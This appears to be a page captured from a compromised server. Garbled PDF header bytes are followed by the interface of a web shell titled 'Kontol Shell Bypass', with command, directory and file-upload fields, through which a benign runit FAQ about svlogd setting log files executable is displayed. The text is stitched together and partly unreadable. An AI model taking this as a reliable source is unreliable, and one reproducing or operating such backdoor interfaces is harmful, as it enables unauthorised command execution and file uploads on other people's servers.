%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/doc/runit/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/doc/runit/FAQ
Subject: svlogd, when rotating, sets the log files as executable. Why?
From: Jamie Heilman <jamie@audible.transient.net>
Date: Mon, 8 Feb 2016 06:12:27 +0000

  This is all based off daemontools' multilog ...

  https://cr.yp.to/daemontools/multilog.html

  ... which states:

    While multilog is running, current has mode 644. If multilog sees
    the end of stdin, it writes current safely to disk, and sets the
    mode of current to 744. When it restarts, it sets the mode of
    current back to 644 and continues writing new lines.

    When multilog decides that current is big enough, it writes current
    safely to disk, sets the mode of current to 744, and renames current
    as an old log file.

  Thus it's effectively using the mode bits as flag to communicate the
  state of the application, which while unusual, is harmless.

Kontol Shell Bypass